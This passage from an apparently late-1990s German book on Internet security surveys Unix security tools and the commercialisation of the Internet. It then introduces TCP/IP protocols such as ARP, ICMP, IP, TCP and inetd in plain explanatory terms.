ein reifes Betriebssystem und über die Jahre wurden viele Fortschritte in bezug auf seine Sicherheit
gemacht, u.a.:
Verschlüsselte Paßwörter
Starke Zugriffskontrollen zu Dateien und Directories
Authentifizierungsverfahren auf Systemebenen
Raffinierte Systemeinrichtungen zur Protokollierung
Unix wird deshalb in vielen Bereichen eingesetzt, die Sicherheit erfordern. Es gibt Hunderte von
Programmen auf dem Markt, die die Sicherheit eines Unix-Systems verstärken. Viele dieser Tools sind
kostenlos im Internet erhältlich. Diese Tools können in drei grundlegende Kategorien eingestuft werden:
Sicherheitsüberwachungs-Tools
Systemprotokollierungs-Tools
Intrusion-Detection-Tools (Tools zum Aufspüren unerlaubten Eindringens)
Sicherheitsüberwachungs-Tools sind Programme, die automatisch Sicherheitslöcher in Systemen
entdecken können. Sie überprüfen bekannte Schwachstellen und gängige Fehlkonfigurationen, die zu
Sicherheitslöchern führen können. Derartige Programme sind für weitreichende Netzwerkprüfungen
entwickelt und können viele Rechner in einem Netzwerk überprüfen (Tausende, wenn Sie wollen). Diese
Tools sind von Vorteil, da sie eine grundlegende Sicherheitseinschätzung automatisieren. Allerdings
stellen sie gleichzeitig auch eine Belastung dar, weil sie erhebliche Möglichkeiten für Cracker eröffnen
und für sie ebensoleicht zugänglich sind.
Systemprotokollierungs-Tools zeichnen Benutzeraktivitäten und Systemmeldungen auf. Diese Protokolle
werden in einfachen Textdateien oder in Dateien, die sich automatisch in ein oder mehrere
Datenbankformate umwandeln, gespeichert. Protokollierungs-Tools bilden eine sichere Quelle in jeder
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Unix-Sicherheitswerkzeugkiste. Oft bilden die Protokolle, die von derartigen Utilities generiert wurden,
die Basis der Beweise für eine Anklage gegen einen Cracker. Verstärktes Protokollieren kann jedoch in
punkto Speicherplatz und Bandbreite teuer zu stehen kommen.
Intrusion-Detection-Tools schließlich sind Programme, die automatisch Anzeichen für ein potentielles
Eindringen entdecken. In mancher Hinsicht können diese Tools als intelligente Protokollierungs-Utilities
angesehen werden. Der Unterschied ist, daß die Protokolle in Echtzeit generiert und analysiert sowie
entsprechende Maßnahmen getroffen werden.
Trotz all dieser hervorragenden Tools ist Sicherheit in Unix nur schwer zu erreichen. Unix ist ein großes
und kompliziertes Betriebssystem und es kann sehr kostspielig sein, wahre Unix-Sicherheitsexperten zu
beschäftigen. Zwar sind diese Leute relativ weit verbreitet, aber die meisten von ihnen haben bereits
Schlüsselpositionen in Unternehmen auf der ganzen Welt. Daraus resultierend ist Beratung in diesem
Bereich zu einem lukrativen Geschäft geworden.
3.4 Das moderne Internet
Wir gehen auf das Jahr 1990 zu. Zu dieser Zeit wurde das Internet fast ausschließlich von militärischem
oder akademischem Personal benutzt. Es gab wahrscheinlich einige Hunderttausend gelegentliche
Benutzer, wenn überhaupt. Das Netzwerk wurde von der National Science Foundation (NSF) gemanagt,
die strikte Einschränkungen auf die Benutzung des Netzwerks legten. Platt ausgedrückt war es verboten,
das Internet für kommerzielle Zwecke zu nutzen.
Dies plazierte die NSF in eine einmalige Position. Obwohl das Internet nicht benutzerfreundlich war (der
Zugang war nur über Kommandozeilen möglich), erfreute sich das Netzwerk wachsender Beliebtheit.
Die Anzahl der Hosts war auf etwa 300.000 angestiegen. Innerhalb von Monaten wurde der erste
Internet-Server etabliert, der einen öffentlichen Zugang ermöglichte, und die Forscher wurden mit dem
Unvermeidbaren konfrontiert. Es war nur noch eine Frage der Zeit, bis die Menschheit den Cyberspace
stürmen würde.
Inmitten der Debatten über die Kosten (der Betrieb des Internet-Backbones verschlang beträchtliche
Mittel) gab die NSF 1991 plötzlich ihre Autorität auf. Dies öffnete den Weg für kommerzielle
Unternehmen, um Kontrolle über Netzwerkbandbreite zu erlangen.
Die Öffentlichkeit allerdings profitierte hiervon im großen und ganzen zunächst nicht weiter. Der Zugang
zum Internet erfolgte immer noch über Befehlszeilen, was den durchschnittlichen Benutzer
einschüchterte. Zu dieser Zeit kam es zu einem Ereignis, das nicht nur die Geschichte des Internet,
sondern auch die der Welt ändern sollte: Die Universität von Minnesota stellte eine neue Software
namens Gopher vor. Gopher war das Internet-Navigationstool, das in GUI(grafische
Benutzeroberfläche)-Umgebungen genutzt werden konnte. Der erste World-Wide-Web-Browser sollte
dem bald folgen.
Im Jahr 1995 zog sich die NSF als Aufseher des Netzes zurück. Das Internet wurde fast auf der Stelle
kommerzialisiert, als sich Unternehmen aus den ganzen USA beeilten, an den Internet-Backbone
angeschlossen zu werden. Den Unternehmen folgte die amerikanische Öffentlichkeit, die durch neuartige
Browser wie NCSA Mosaic, Netscape Navigator und Microsoft Internet Explorer ermutigt wurde. Das
Internet war plötzlich für jeden, der einen Computer, ein Window-System und eine Maus hatte,
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zugänglich.
Heute verfügt das Internet über mehr als 30 Millionen Hosts und dient Meldungen zufolge etwa 100
Millionen Benutzern. Nach Schätzungen wird bis zum Jahr 2001 die gesamte westliche Welt an das
Internet angeschlossen sein, wenn die Nutzung des Internet im gleichen Maße wächst wie heute. Und
diese Schätzungen werden wohl Realität werden, wenn nicht irgendein unvorhergesehenes Ereignis die
Entwicklung stoppt.
3.4.1 Internet Service Provider
Nachdem immer mehr Benutzer zum Internet strömten, schossen überall Internet Service Provider wie
Pilze aus dem Boden. Diese waren kleine ortsansässige Unternehmen, die generellen Gateway-Zugang
für die Öffentlichkeit zur Verfügung stellten. Für 20 Dollar im Monat konnte jeder, der einen Computer
und ein Modem besitzt, Internet-Anbindung genießen. Und es dauerte nicht mehr lang, bis große
Unternehmen auf den Wagen aufsprangen (wie America Online oder Prodigy). Dies verursachte eine
Explosion der Anzahl der Internet-Benutzer.
3.4.2 Die Zukunft
Es gibt sehr viele Aussagen darüber, in welche Richtung das Internet steuert. Viele dieser Aussagen
werden von Marketing-Leuten und anderen gemacht, die darauf aus sind, noch mehr Bandbreite, noch
mehr Hardware, noch mehr Software und noch mehr Spaß zu verkaufen. Alles in allem versuchen die
amerikanischen Wirtschaftsikonen, das Internet zu kontrollieren und ihren Wünschen entsprechend zu
gestalten. Dies ist aus mehreren Gründen eine gewaltige Aufgabe.
Einer davon ist, daß sich die Technologie für das Internet heute schneller entwikkelt, als der Benutzer sie
kaufen kann. Zum Beispiel wollen viele amerikanische Unternehmen das Internet als ein
Unterhaltungsmedium nutzen. Natürlich eignet sich das Netzwerk hervorragend dafür, doch die
Realisierung derartiger Vorhaben stößt auf einige Schwierigkeiten, hauptsächlich weil die meisten
Benutzer sich die Hardware zum Empfang von Hochgeschwindigkeitsübertragungen nicht leisten
können. Die meisten Anwender benutzen immer noch 28.8- oder 33.6-Modems.
Andere Möglichkeiten existieren, aber sie sind teuer. ISDN zum Beispiel ist in den USA nur für Leute
mit Geldreserven oder große Unternehmen, die Geschäfte im Internet erledigen, eine praktische Lösung.
Noch ein wichtiger Punkt ist die Tatsache, das ISDN schwerer zu konfigurieren ist. Für viele meiner
Kunden war dies ein Grund, ISDN nicht einzusetzen. Ich habe schon von Leuten gehört, die ISDN
eingesetzt haben, die Konfigurierungsprobleme überwältigend fanden und wieder auf ihr konventionelles
28.8-Modem zurückgriffen. Außerdem ist ISDN in manchen Regionen gar nicht verfügbar, während in
anderen Regionen jede Minute einer Verbindung über eine ISDN-Leitung abgerechnet wird.
Hinweis:
Obwohl Telekommunikationsunternehmen ISDN anfänglich als große Geldquelle sahen, stellte sich
diese Annahme als übereilt heraus. Dies hat viele Gründe. Einer ist, daß ISDN-Modems gegenüber
28.8-Modems immer noch teuer sind. Ein anderer liegt in neuen Technologien, die ISDN überflüssig
machen werden.
Kabelmodems sind eine Alternative. Diese neuen Geräte, die gegenwärtig getestet werden, liefern
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100fach schnelleren Internet-Zugang als konventionelle Modems. Es müssen jedoch noch einige
Probleme innerhalb der Kabelmodemindustrie geklärt werden. So gibt es z.B. bisher keinerlei Standards,
d.h. Kabelmodems werden nur proprietär hergestellt. Ohne Standards werden die Preise für
Kabelmodems weiterhin auf sehr hohem Niveau liegen (derzeit zwischen 300 und 600 Dollar), das die
meisten Benutzer noch vom Kauf abhält. Es stellt sich auch die Frage, welches Kabelmodem man kaufen
sollte, da sie sich erheblich in ihren Möglichkeiten unterscheiden. Einige z.B. bieten extrem hohe
Geschwindigkeiten für das Empfangen von Daten, sind aber eher langsam, wenn sie Daten versenden.
Dies ist für einige Benutzer schlichtweg unbrauchbar. Ein praktisches Beispiel hierfür ist jemand, der
Videokonferenzen auf regelmäßiger Basis plant. Er könnte zwar die Bilder seines Konferenzpartners in
hoher Geschwindigkeit empfangen, wäre aber nicht in der Lage, in der gleichen Geschwindigkeit zu
senden.
Hinweis:
Andere praktische Probleme plagen die ansonsten strahlende Zukunft der Kabelmodemverbindungen.
So wird Verbrauchern beispielsweise mitgeteilt, sie könnten im wesentlichen die Geschwindigkeit einer
Low-End-T3-Verbindung für 39 Dollar im Monat bekommen, aber das ist nur die halbe Wahrheit.
Obwohl ihr Kabelmodem und das Koaxialkabel, mit dem es verbunden ist, derartige Geschwindigkeiten
ermöglichen, wird der normale Benutzer wahrscheinlich nie in den Genuß einer solchen kommen, weil
alle Anwohner einer Nachbarschaft sich die Bandbreite einer Verbindung teilen müssen. So werden in
einem Wohnhaus die 10 Mbps von allen Bewohnern, die an dieses Kabel angeschlossen sind, geteilt.
Wenn daher ein Bewohner des Hauses eine Suchmaschine laufen läßt, die täglich Hunderte von
Megabyte an Informationen sammelt, werden die übrigen Bewohner einen enormen Bandbreitenverlust
erleiden. Dies ist ganz klar unzumutbar.
Auf jeden Fall wird das Internet für immer mehr Menschen ein wichtiger Bestandteil ihres Lebens.
Banken und andere Finanzinstitute bieten heutzutage die Erledigung jeglicher Bankangelegenheiten über
das Internet an. In fünf Jahren wird dieses sogenannte Homebanking wahrscheinlich traditionelle
Bankgeschäfte völlig ersetzen. Ganz ähnlich werden auch schon eine ganze Menge anderer
Handelsgeschäfte über das Internet erledigt.
3.5 Zusammenfassung
Dieses Kapitel bietet eine kurze Darstellung der Geburt des Internet. Im nächsten Kapitel werden die
Anfänge und wichtigsten Aspekte der Netzwerk-Protokolle (oder Methoden der Datenübertragung)
besprochen. Diese Themen sind essentiell für das Verständnis der Grundbegriffe der Internet-Sicherheit.
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4
Ein kurzer Überblick über TCP/IP
In diesem Kapitel lernen Sie einige der Protokolle kennen, die im Internet eingesetzt werden, u.a. das
Transmission Control Protocol (TCP) und das Internet Protocol (IP). Dieses Kapitel liefert jedoch keine
ausführliche Abhandlung über TCP/IP, sondern stellt nur das minimale Wissen zur Verfügung, das Sie
für die Lektüre dieses Buches brauchen. Ich nenne Ihnen in diesem Kapitel aber Web-Links zu
Dokumenten und anderen Informationen, die Ihr Wissen über TCP/IP vertiefen werden.
4.1 Was ist TCP/IP?
TCP/IP bezeichnet hauptsächlich zwei Netzwerk-Protokolle (oder Methoden der Datenübertragung), die
im Internet benutzt werden: das Transmission Control Protocol (TCP) und das Internet Protocol (IP).
TCP und IP sind aber nur zwei Protokolle, die zu einer viel größeren Sammlung von Protokollen
gehören, der TCP/IP-Protokollfamilie.
Protokolle innerhalb der TCP/IP-Protokollfamilie übernehmen die Datenübertragung für alle Services,
die dem Internet-Surfer heutzutage zur Verfügung stehen, u.a.:
Versenden von E-Mail
Übertragung von Dateien
Übermittlung von Usenet News
Zugang zum World Wide Web
4.1.1 Protokolltypen in der TCP/IP-Protokollfamilie
Die zwei Protokolltypen innerhalb der TCP/IP-Protokollfamilie, mit denen wir es zu tun haben, sind:
Protokolle in der Netzwerkschicht
Protokolle in der Anwendungsschicht
Lassen Sie uns kurz auf den Unterschied zwischen diesen beiden Protokolltypen eingehen.
Protokolle in der Netzwerkschicht
Netzwerkschicht-Protokolle managen die verborgenen Mechanismen der Datenübertragung. Diese
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Protokolle sind für den Benutzer in der Regel nicht sichtbar und arbeiten weit unter der Oberfläche. Zum
Beispiel übernimmt das Internet Protocol (IP) die Paketübertragung der Informationen, die zwischen dem
Benutzer und entfernten Rechnern ausgetauscht werden. Dies passiert auf Basis verschiedener
Informationen, von denen die wichtigste die IP- Adresse der jeweiligen Rechner ist. Es gibt dafür keine
Garantie. Wenn ein Paket verlorengeht, schreibt das Protokoll vor, daß das Bindeglied zwischen
Anwendungsschicht und Netzwerkschicht (der TCP/IP-Stack) das Paket nochmal schicken muß. Das ist
der größte Unterschied zwischen TCP/IP und X25. Während dieses Prozesses interagiert IP mit anderen
Netzwerkschicht-Protokollen, die mit der Datenübertragung zu tun haben. Der Benutzer wird die
Aktionen von IP nicht sehen, es sei denn, er benutzt Netzwerk-Utilities, wie z.B. einen Sniffer oder
andere Vorrichtungen, die IP-Datagramme lesen.
Protokolle in der Anwendungsschicht
Anwendungsschicht-Protokolle dagegen sind für den Benutzer sichtbar. Zum Beispiel ist das File
Transfer Protocol (FTP) ein interaktives Protokoll, d.h. Sie sehen die jeweiligen Ergebnisse Ihrer
Verbindung und Übertragung. (Diese Informationen werden in Form von Fehlermeldungen und
Statusberichten dargestellt, z.B. können Sie sehen, wie viele Bytes in einem bestimmten Moment
übertragen wurden.)
4.1.2 Die Geschichte von TCP/IP
Das bereits im vorigen Kapitel erwähnte ARPANET arbeitete prinzipiell gut, wurde aber immer wieder
von Systemabstürzen heimgesucht. Überdies stellte sich die langfristige Expansion des Netzwerks als
kostspielig heraus. Daher wurde eine Suche nach einer zuverlässigeren Protokollsammlung initiiert, die
Mitte der siebziger Jahre mit der Entwicklung von TCP/IP endete.
TCP/IP hatte gegenüber anderen Protokollen vor allem zwei Vorteile: es war nicht so umfangreich und
konnte kostengünstiger als andere damals verfügbare Protokolle implementiert werden. Aufgrund dieser
Faktoren wurde TCP/IP äußerst populär. ZuJahr 1983 wurde TCP/IP in die Version 4.2 von Berkeley
Software Division (BSD)-Unix integriert. Die Integration in kommerzielle Versionen von Unix folgte
bald und TCP/IP wurde als Internet- Standard etabliert. Das hat sich bis heute nicht geändert.
TCP/IP wird heute vielfach eingesetzt, nicht nur für das Internet. Zum Beispiel werden auch Intranets
häufig auf TCP/IP aufgebaut. In solchen Umgebungen bietet TCP/IP bedeutende Vorteile gegenüber
anderen Netzwerk-Protokollen, beispielsweise läuft TCP/IP auf einer Vielzahl an Hardware und
Betriebssystemen. Daher kann man mit TCP/IP schnell und leicht ein heterogenes Netzwerk aufbauen,
an das Macintoshes, Sun, und SGI(Silicon Graphics)- Workstations, PCs usw. angeschlossen sind. Jeder
dieser Rechner kann mit den anderen über eine herkömmliche Protokoll-Suite kommunizieren. Aus
diesem Grund erfreut sich TCP/IP seit seiner Einführung in den Markt in den siebziger Jahren immer
noch großer Beliebtheit.
4.1.3 Auf welchen Plattformen läuft TCP/IP?
TCP/IP wird von den meisten Plattformen unterstützt. Der Umfang der Unterstützung ist jedoch von
Plattform zu Plattform verschieden. Heutzutage bieten die meisten Betriebssysteme standardmäßig
integrierten TCP/IP-Support. Viele ältere Betriebssysteme verfügen jedoch nicht über diesen integrierten
Support. Tabelle 4.1 listet TCP/IP-Support für verschiedene Plattformen auf. Wenn eine Plattform
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integrierten TCP/IP-Support bietet, ist dies markiert. Wenn nicht, wird der Name eines
TCP/IP-Betriebssystemzusatzes angegeben.
Tabelle 4.1: Plattformen und TCP/IP-Support
Plattform TCP/IP-Support
Unix Integriert (in den meisten Auslieferungen)
DOS Piper/IP von Ipswitch, Information Technology FTP Server, Adobe FTP
Windows TCPMAN von Trumpet Software
Windows 95 Integriert
Windows NT Integriert
Macintosh MacTCP oder OpenTransport (Sys 7.5+)
OS/2 Integriert
AS/400 OS/400 Integriert
Plattformen ohne integrierten TCP/IP-Support können diesen durch proprietäre oder von Drittanbietern
erhältliche TCP/IP-Programme trotzdem implementieren. Es gibt Programme von Drittanbietern, die
umfassenden TCP/IP-Support liefern, und solche, die das nur eingeschränkt tun.
Zum Beispiel stellen einige dieser Produkte dem Client lediglich die wichtigsten Dienste zur Verfügung,
was für solche Benutzer ausreichend ist, die nur E-Mails empfangen und einfache Netzwerk-Funktionen
ausführen wollen. Im Gegensatz dazu sind manche TCP/IP- Implementierungen durch Drittanbieter sehr
umfangreich und beinhalten Server-Applikationen, vielfache Übertragungsmethoden und andere
Merkmale einer ausgewachsenen Unix- TCP/IP-Implementierung.
TCP/IP-Unterstützung durch Drittanbieter verschwindet heutzutage zunehmend vom Markt, weil große
Unternehmen wie Microsoft TCP/IP-Dienste in die Basispakete ihrer Betriebssysteme integriert haben.
4.1.4 Die Arbeitsweise von TCP/IP
TCP/IP arbeitet über einen Protokollstapel, der der Gesamtsumme aller Protokolle entspricht, die für die
Übertragung von Daten von einem Rechner zu einem anderen notwendig sind. Anders gesagt ist dieser
Protokollstapel der Weg, den die Daten nehmen müssen, um von einem Rechner heraus- und in einen
anderen Rechner hineinzugelangen. Der Stapel ist in Schichten eingeteilt, von denen uns hier fünf
betreffen. Abbildung 4.1 erklärt dieses Schichtenmodell.
Abbildung 4.1: Der TCP/IP-Protokoll-Stapel
Nachdem die Daten den in Abbildung 4.1 dargestellten Prozeß durchlaufen haben, erreichen sie den
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Zielrechner oder das Zielnetzwerk. Dort durchlaufen sie den Prozeß in umgekehrter Reihenfolge, d.h. sie
treffen zuerst auf die Physikalische Schicht und reisen dann den Stapel hoch. Während dieses Vorgangs
läuft sowohl auf dem Ursprungs- als auch auf dem Zielrechner ein komplexes Fehlersuchsystem.
Jede Schicht des Stapels kann Daten an seine Nachbarschicht versenden bzw. von ihr Daten empfangen.
Außerdem ist jede Schicht mit mehreren Protokollen verbunden. Diese Protokolle stellen dem Benutzer
verschiedene Dienste zur Verfügung. Im nächsten Abschnitt dieses Kapitels werden die Protokolle und
ihre Beziehung zu den Schichten des Stapels dargestellt. Sie werden ihre Funktionen, die zur Verfügung
gestellten Dienste und ihre Bedeutung in Bezug auf Sicherheit kennenlernen.
4.2 Die einzelnen Protokolle
Sie wissen jetzt, wie Daten via TCP/IP über den Protokoll-Stapel übertragen werden. Jetzt werde ich die
wichtigsten Protokolle innerhalb dieses Stapels vorstellen, beginnend mit den Protokollen der
Netzwerkschicht.
4.2.1 Protokolle in der Netzwerkschicht
Netzwerkschicht-Protokolle sind die Protokolle, die aktiv am Übertragungsprozeß beteiligt sind oder ihn
vereinfachen. Sie sind für den Benutzer nicht sichtbar, außer er setzt Utilities zur Überwachung von
Systemprozessen ein.
Tip:
Sniffer sind Vorrichtungen, die solche Prozesse überwachen können. Ein Sniffer ist eine Vorrichtung -
Hardware oder Software -, die jedes Paket lesen kann, das über das Netzwerk versandt wird. Sniffer
werden in der Regel eingesetzt, um Netzwerkprobleme zu isolieren, die die Leistung oder auch
Performance des Netzwerks verschlechtern, obwohl sie für den Benutzer nicht sichtbar sind. Daher
können Sniffer jegliche Aktivität zwischen Netzwerkschicht-Protokollen lesen. Darüber hinaus können
Sniffer ein erhebliches Sicherheitsrisiko darstellen. In Kapitel 13 werden Sie mehr über Sniffer
erfahren.
Wichtige Netzwerkschicht-Protokolle sind:
Address Resolution Protocol (ARP)
Internet Control Message Protocol (ICMP)
Internet Protocol (IP)
Transmission Control Protocol (TCP)
Im folgenden stelle ich jedes dieser Protokolle kurz dar.
Wegweiser:
Für umfassendere Informationen über Protokolle (oder den Protokoll-Stapel im allgemeinen) empfehle
ich Ihnen TCP/IP Blueprints von Robin Burk, Martin Bligh und Thomas Lee (Sams Publishing) ISBN
Nr. 0-672-31055-4.
Ein kurzer Überblick über TCP/IP
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Address Resolution Protocol (ARP)
ARP hat die kritische Aufgabe, die Internet-Adresse (man spricht hier von IP-Adresse) einer
physikalischen Adresse eines Netzwerk-Interfaces, etwa einer Netzkarte in einem PC, zuzuordnen.
(Anmerkung: Diese physikalische Adresse eines Netzwerkadapters muß auf demselben physikalischen
Netzwerk einzigartig sein!)
Bevor eine Nachricht (oder andere Daten) losgeschickt wird, wird sie zunächst in IP-Pakete verpackt.
Die Pakete beinhalten die numerische IP-Adresse sowohl des Ursprungs- als auch des Zielrechners.
Damit ist die Information für den Transfer über das Internet vorbereitet, es fehlt nur noch das Glied der
Transportkette im lokalen Netzwerk: Zu diesem Zeitpunkt ist dem Ursprungsrechner noch nicht bekannt,
welcher Rechner auf dem lokalen Netzwerk verantwortlich ist für die Ziel(IP)-Adresse, falls diese
überhaupt im lokalen Bereich zu suchen ist. Gesetzt, die Zieladresse ist tatsächlich auf demselben lokalen
Netz zu finden, kommt hier ARP ins Spiel.
Der Ursprungsrechner sendet nun einen ARP-Broadcast (Rundruf) an alle Rechner, die physikalisch auf
demselben Netzwerk angeschlossen sind und nach Daten horchen. Dieser Broadcast beinhaltet der
Aufgabenstellung zufolge die Frage nach der physikalischen Adresse des Netzwerk-Interfaces, welches
dem Rechner gehört, der die Zieladresse unseres IP-Pakets beherbergt (daher der Name »host«). Die
Antwort enthält dann die vollständige Paarung zwischen physikalischer und IP-Adresse und muß nicht
notwendigerweise vom Eigentümer selbst gegeben worden sein - sie kann auch von einem anderen
Rechner kommen, der sich diese Paarung irgendwann gemerkt hat. Wenn die Antwort (ARP-Reply) den
Ursprungsrechner erreicht hat, wird dieser mit dem Datentransfer beginnen, wobei er die IP- Pakete nur
an das Netzwerk-Interface des Rechners schickt, dessen physikalische Adresse er erfragt hat. Alle
anderen Rechner wissen, daß das Paket nicht für sie bestimmt ist, und hören weg, verbrauchen also keine
unnötige Rechenleistung beim Empfangen von Paketen, die gar nicht für sie bestimmt sind. Diese
Ersparnis ist der Grund für das ARP.
Wie bereits kurz erwähnt, merken sich die Rechner auf dem lokalen Netzwerk, welche physikalische
Adresse zu einer IP-Adresse gehört. Dieses »Merken« nennt man »Caching«, im Fall von ARP hat der
Rechner einen ARP-Cache. Ein ARP-Cache macht sich bezahlt, weil damit nicht für jedes einzelne Paket
die physikalische Adresse neu erfragt werden muß, was die Leistung des lokalen Netzwerks stark
herabsetzen würde. Die Einträge im ARP-Cache unterliegen einer Alterung und werden nach einer
gewissen Zeit ungültig, wenn kein Datentransfer mehr stattgefunden hat. Sie müssen somit wieder mit
einem ARP-Broadcast an alle Rechner auf dem Netzwerk erfragt werden. Mit dieser Mimik wird es
möglich, daß Sie die Netzkarte etwa eines PC austauschen können: Nach einer Weile werden sich alle
Rechner auf dem lokalen Netzwerk an die Änderung der physikalischen Adresse Ihrer neuen Netzkarte
»gewöhnt« haben. Es ist übrigens ohne weiteres möglich, daß eine physikalische Adresse (also ein
einzelnes physikalisches Netzwerk-Interface) mehrere IP-Adressen beherbergt, wohingegen es nicht
möglich ist, daß mehrere physikalische Adressen die gleiche IP- Adresse haben. Der letztere Zustand
würde Verwirrung stiften. Vielleicht sehen Sie hier bereits das Sicherheitsproblem: So etwas könnte ja
auch mit Absicht passieren.
Wegweiser:
Für tiefergehende Informationen über ARP schauen Sie sich RFC 826 an.
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc826.txt.
Ein kurzer Überblick über TCP/IP
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Wegweiser:
Eine andere gute Quelle für Informationen über ARP ist Margaret K. Johnsons Beitrag über Details des
TCP/IP-Protokolls (Auszüge aus Microsoft LAN Manager TCP/IP protocol). Sie finden den Beitrag
unter http:// www.alexia.net.au/~www/yendor/internetinfo/arp.html.
Internet Control Message Protocol (ICMP)
ICMP ist für Fehler- und Kontrollmeldungen an die beteiligten Rechner oder Hosts während des
Übertragungsprozesses verantwortlich. In dieser Hinsicht ist ICMP wichtig für die Diagnose von
Netzwerkproblemen. Diagnoseinformationen, die durch ICMP gesammelt werden, sind beispielsweise:
Wenn ein Host heruntergefahren ist
Wenn ein Gateway verstopft oder betriebsunfähig ist
Wenn andere Fehler innerhalb eines Netzwerks auftauchen
Tip:
Die vielleicht bekannteste Anwendung innerhalb einer ICMP-Implementierung ist ping. ping wird oft
eingesetzt, um die Empfangsbereitschaft eines entfernten Rechners sicherzustellen. Die Arbeitsweise
von ping ist sehr einfach: Wenn ein Benutzer einen entfernten Rechner »anpingt«, wird eine Reihe von
Paketen vom Absenderrechner zum entfernten Host übermittelt, der wiederum ein Echo der Pakete
zurücksendet. Wenn kein Echo erfolgt, erzeugt das ping-Programm in der Regel eine Fehlermeldung mit
dem Inhalt, daß der entfernte Rechner nicht erreichbar oder heruntergefahren ist.
Wegweiser:
Für tiefergehende Informationen über ICMP schauen Sie sich RFC 792
an unter http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc792.txt.
Internet Protocol (IP)
IP gehört zur Netzwerkschicht und ist für die Übertragung von Datenpaketen für alle Protokolle der
TCP/IP-Protokollfamilie verantwortlich. IP stellt damit das Herz dieses unglaublichen Prozesses dar, mit
dem Daten das Internet durchqueren. Abbildung 4.2 zeigt ein kleines Modell eines IP-Datagramms, das
diesen Prozeß erklärt.
Abbildung 4.2: Das IP-Datagramm
Wie in der Abbildung gezeigt, besteht ein IP-Datagramm aus mehreren Teilen. Der erste Teil, der
Header (Kopfzeile), besteht aus verschiedenen Elementen, u.a. den IP-Adressen des Absenders und des
Empfängers. Zusammen formen diese Elemente einen kompletten Header. Der restliche Teil des
Datagramms enthält die jeweils zu versendenden Daten.
Das erstaunliche am Internet Protocol ist folgendes: Datagramme können während ihrer Reise
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fragmentiert und später beim Empfänger wieder zusammengesetzt werden (auch wenn sie nicht in der
gleichen Reihenfolge ankommen, in der sie abgesandt wurden).
Ein IP-Datagramm enthält noch weitere Informationen, z.B. die Identität des gerade benutzten
Protokolls, eine Header-Prüfsumme und eine Time-to-Live-Spezifikation. Diese Spezifikation ist ein
numerischer Wert. Während das Datagramm durch das Internet reist, wird dieser numerische Wert
ständig vermindert. Wenn er schließlich null erreicht, wird das Datagramm verworfen. Viele
Paket-Typen haben Time-to-Live-Limitationen. Einige Netzwerk-Utilities (wie Traceroute) benutzen das
Time-to-Live-Feld als eine Markierung für Diagnose-Routinen.
Zusammenfassend kann die Funktion von IP auf folgendes reduziert werden: Es dient der Übertragung
von Datenpaketen über das Internet.
Wegweiser:
Lesern, die tiefergehende Informationen über das Internet Protocol suchen, empfehle ich RFC 760.
http://info.internet.isi.edu:80/in-notes/rfc/ files/rfc760.txt
Transmission Control Protocol (TCP)
TCP ist eines der Hauptprotokolle des Internet. Es vereinfacht solch hochsensible Aufgaben wie die
Übertragung von Dateien und entfernte Arbeitssitzungen. Die Arbeitsweise von TCP wird als
zuverlässige Übertragung bezeichnet. In dieser Hinsicht unterscheidet sich TCP von anderen Protokollen
der Protokollfamilie, die als unzuverlässig gelten und keine Garantie übernehmen, daß die Daten in
perfektem Zustand ankommen. TCP dagegen garantiert, daß die Daten in der gleichen Reihenfolge und
dem gleichen Zustand ankommen, in der bzw. dem sie abgesandt wurden.
Das TCP-System verläßt sich auf eine virtuelle Verbindung, die zwischen dem anfragenden und dem
Ziel-Rechner etabliert wird. Diese Verbindung wird durch einen dreiteiligen Prozeß geöffnet, der oft
auch als »three-part handshake« bezeichnet wird. In der Regel folgt der Prozeß dem in Abbildung 4.3
gezeigten Muster.
Abbildung 4.3: Der TCP/IP three-part handshake
Nach Öffnen der Verbindung können die Daten simultan in beide Richtungen reisen, was auch als
Vollduplex-Übertragung bezeichnet wird. So können auch während einer Datenübertragung (oder einer
anderen entfernten Arbeitssitzung) eventuell auftretende Fehler an den anfragenden Rechner übertragen
werden.
TCP stellt umfangreiche Funktionen zur Fehlerüberprüfung zur Verfügung. Für jedes gesendete
Datenpaket wird ein numerischer Wert generiert. Die zwei Rechner identifizieren jedes übertragene
Datenpaket anhand dieses numerischen Wertes. Für jedes erfolgreich übertragene Paket sendet der
Empfänger eine Nachricht an den Absender, daß die Übertragung erfolgreich war. Im Gegensatz dazu
können bei nicht erfolgreicher Übertragung zwei Dinge passieren:
Der anfragende Rechner erhält eine Fehlermeldung
Ein kurzer Überblick über TCP/IP
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Der anfragende Rechner erhält nichts
Nach Empfang einer Fehlermeldung werden die Daten erneut übertragen, außer wenn es sich um einen
schweren Fehler handelt. In diesem Fall wird die Übertragung gewöhnlich unterbrochen. Ein typisches
Beispiel für einen schweren Fehler ist z.B. ein Zusammenbrechen der Verbindung.
Ganz ähnlich dazu werden die Daten ebenfalls erneut übertragen, wenn innerhalb eines bestimmten
Zeitraums keine Bestätigung empfangen wird. Dieser Prozeß wird solange wiederholt, bis die
Übertragung oder die entfernte Arbeitssitzung abgeschlossen ist.
4.2.2 Protokolle in der Anwendungsschicht
Sie haben gelernt, wie Daten nach einer Verbindungsanfrage übertragen werden. Nun wollen wir uns
anschauen, was passiert, wenn diese Anfrage ihr Ziel erreicht, und kommen damit zur
Anwendungsschicht. Jedesmal wenn ein Rechner eine Verbindungsanfrage an einen anderen Rechner
sendet, spezifiziert er ein ganz bestimmtes Ziel. Generell wird dieses Ziel durch die Hardware-Adresse
des Empfängerrechners bestimmt. Aber, noch detaillierter, spezifiziert der anfragende Rechner die
Applikation, die er beim Empfängerrechner erreichen möchte. Dabei spielen zwei Elemente eine Rolle:
Ein Programm namens inetd
Ein auf Ports basierendes System
inetd: Der Manager für Verbindungsanfragen
Bevor wir uns näher mit dem inetd-Programm befassen, möchte ich kurz den Begriff Daemon erklären,
damit Sie das inetd-Programm leichter verstehen können. Daemons sind Programme, die permanent auf
andere Prozesse reagieren. (In unserem Fall ist der Prozeß die Verbindungsanfrage.) Daemons
entsprechen in etwa Terminate-and-Stay-Resident-Programmen (TSR = speicherresidente Programme)
auf einer Microsoft-Plattform. Diese Programme laufen permanent, um auf ein bestimmtes Ereignis
reagieren zu können.
inetd ist ein spezielles Daemon-Programm, das dazu benutzt wird, Verbindungsanfragen zentral zu
beantworten. Der Vorteil dieses Ansatzes besteht darin, daß Systemressourcen erst dann eingesetzt
werden, wenn sie auch wirklich gebraucht werden.
Das Programm reagiert auf Verbindungsanfragen von dem Netzwerk. Wenn es eine solche Anfrage
erhält, wertet es sie aus. Diese Auswertung dient der Feststellung einer einzigen Sache: Welchen Dienst
